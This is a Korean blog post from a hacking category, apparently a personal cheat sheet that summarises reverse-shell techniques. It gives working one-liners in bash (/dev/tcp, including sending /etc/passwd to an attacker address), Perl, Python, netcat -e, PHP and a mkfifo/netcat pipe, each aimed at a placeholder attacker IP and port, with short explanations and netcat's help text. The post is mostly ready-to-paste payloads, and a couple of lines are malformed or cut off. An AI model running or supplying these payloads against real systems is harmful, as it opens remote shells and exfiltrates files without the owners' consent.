ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • reverse shell summary
    Hack/No filtered 2020. 4. 8. 10:19

    1. bash의 /dev/tcp 사용하기

    쉘의 기본커맨드창에서 /dev/tcp를 이용하면 리버스쉘을 사용할 수 있다.
    예로, cat /etc/passwd > /dev/tcp/공격자의 IP/PORT
    이렇게하면 공격자의 IP/PORT로 /etc/passwd의 내용을 전달해준다.
    응용하면 공격자에게 쉘까지 열어줄 수 있다.

    Cheat Sheet : /bin/sh >& /dev/tcp/Attacker_IP/PORT 0>&1
    Cheat Sheet : bash -i >& /dev/tcp/Attacker_IP/PORT 0>&1
    1: bash -i
    2: >& /dev/tcp/Attacker_IP/PORT
    3: 0>&1

    bash -i는 bash shell을 대화형(interactive)모드로 사용하는 옵션이다.
    >& /dev/tcp/Attacker_IP/PORT는 bash 쉘을 리다이렉트하는 구문이다.
    0>&1 은 표준입력을 표준출력이 참조하는 곳으로 보내는 구문이다. (여기서 표준 출력은 소켓을통해 외부로 보내게됨)

    2. 스크립트 언어 사용하기 (Perl, Python)

    스크립트 언어를 이용하는 방법이 있는데, 간단한 스크립트인 Perl이나 Python을 이용해볼것인데 우선 Perl에대해
    이야기하도록 하겠다.

    말할것도 없이 간단하다. 원리는 그냥, IP, PORT 설정해주고 소켓을 이용해서 TCP 통신을 해주는데 아웃풋을 보내주고
    인풋을 받아오는것이다.
    Cheat Sheet :
    perl -e 'use
    Socket;$i="Attacker_IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh");};

    다음은 파이썬으로 연결을 하는방법이다. 이것도 소켓통신을하여 subprocess로 /bin/sh를 실행하여 전송해주는
    것이다.
    Cheat Sheet :
    python -c 'import
    socket,,os,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0);
    os.dup2(s.fileno(),1);
    os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh"]);'

    3. netcat을 이용한 방법

    가장 보편적으로 사용하는 통신 방법인데, 넷캣의 -e 옵션을 사용하면 쉘을 열어 줄 수 있다.
    아래에는 nc의 도움말을 첨부하겠다.
    -------------------------------------------------------------------------------------------
    C:\Users\Reset>nc -help
    [v1.11 NT www.vulnwatch.org/netcat/]
    connect to somewhere: nc [-options] hostname port[s] [ports] ...
    listen for inbound: nc -l -p port [options] [hostname] [port]
    options:
    -d detach from console, background mode

    -e prog inbound program to exec [dangerous!!]
    -g gateway source-routing hop point[s], up to 8
    -G num source-routing pointer: 4, 8, 12, ...
    -h this cruft
    -i secs delay interval for lines sent, ports scanned
    -l listen mode, for inbound connects
    -L listen harder, re-listen on socket close
    -n numeric-only IP addresses, no DNS
    -o file hex dump of traffic
    -p port local port number
    -r randomize local and remote ports
    -s addr local source address
    -t answer TELNET negotiation
    -u UDP mode
    -v verbose [use twice to be more verbose]
    -w secs timeout for connects and final net reads
    -z zero-I/O mode [used for scanning]
    port numbers can be individual or ranges: m-n [inclusive]
    -------------------------------------------------------------------------------------------
    Cheat Sheet : nc -e /bin/sh Attacker_IP PORT


    4. PHP를 이용하기

    php의 exec함수와 fsockopen함수를 이용하여 연결할 수 있습니다.
    Cheat Sheet : php -r
    '$sock=fsockopen("Attacker_IP",PORT);exec("/bin/sh <&3 >&3 2>&3");'

     

    5. nc의 -e 옵션 사용하지 않고 연결하기

    1편에서 nc의 -e 옵션을 이용해 쉘을 여는방법에대해 작성했었는데, 그 방법 외에도 쉘을 열어 줄 수 있는 방법이
    존재합니다. /tmp 폴더에 아웃풋을 넣고 nc로는 데이터만 전송해주는 방법이 있습니다.

    Cheat Sheet : rm /tmp/reset_reverse_shell; mkfifo
    /tmp/reset_reverse_shell;cat /tmp/reset_reverse_shell|/bin/sh
    2>&1|nc ATTACKER_IP PORT >/tmp/reset_reverse_shell

    기타

    rm /tmp/shell; mknod /tmp/shell p; nc IP 10008 0/tmp/shell

Designed by Tistory.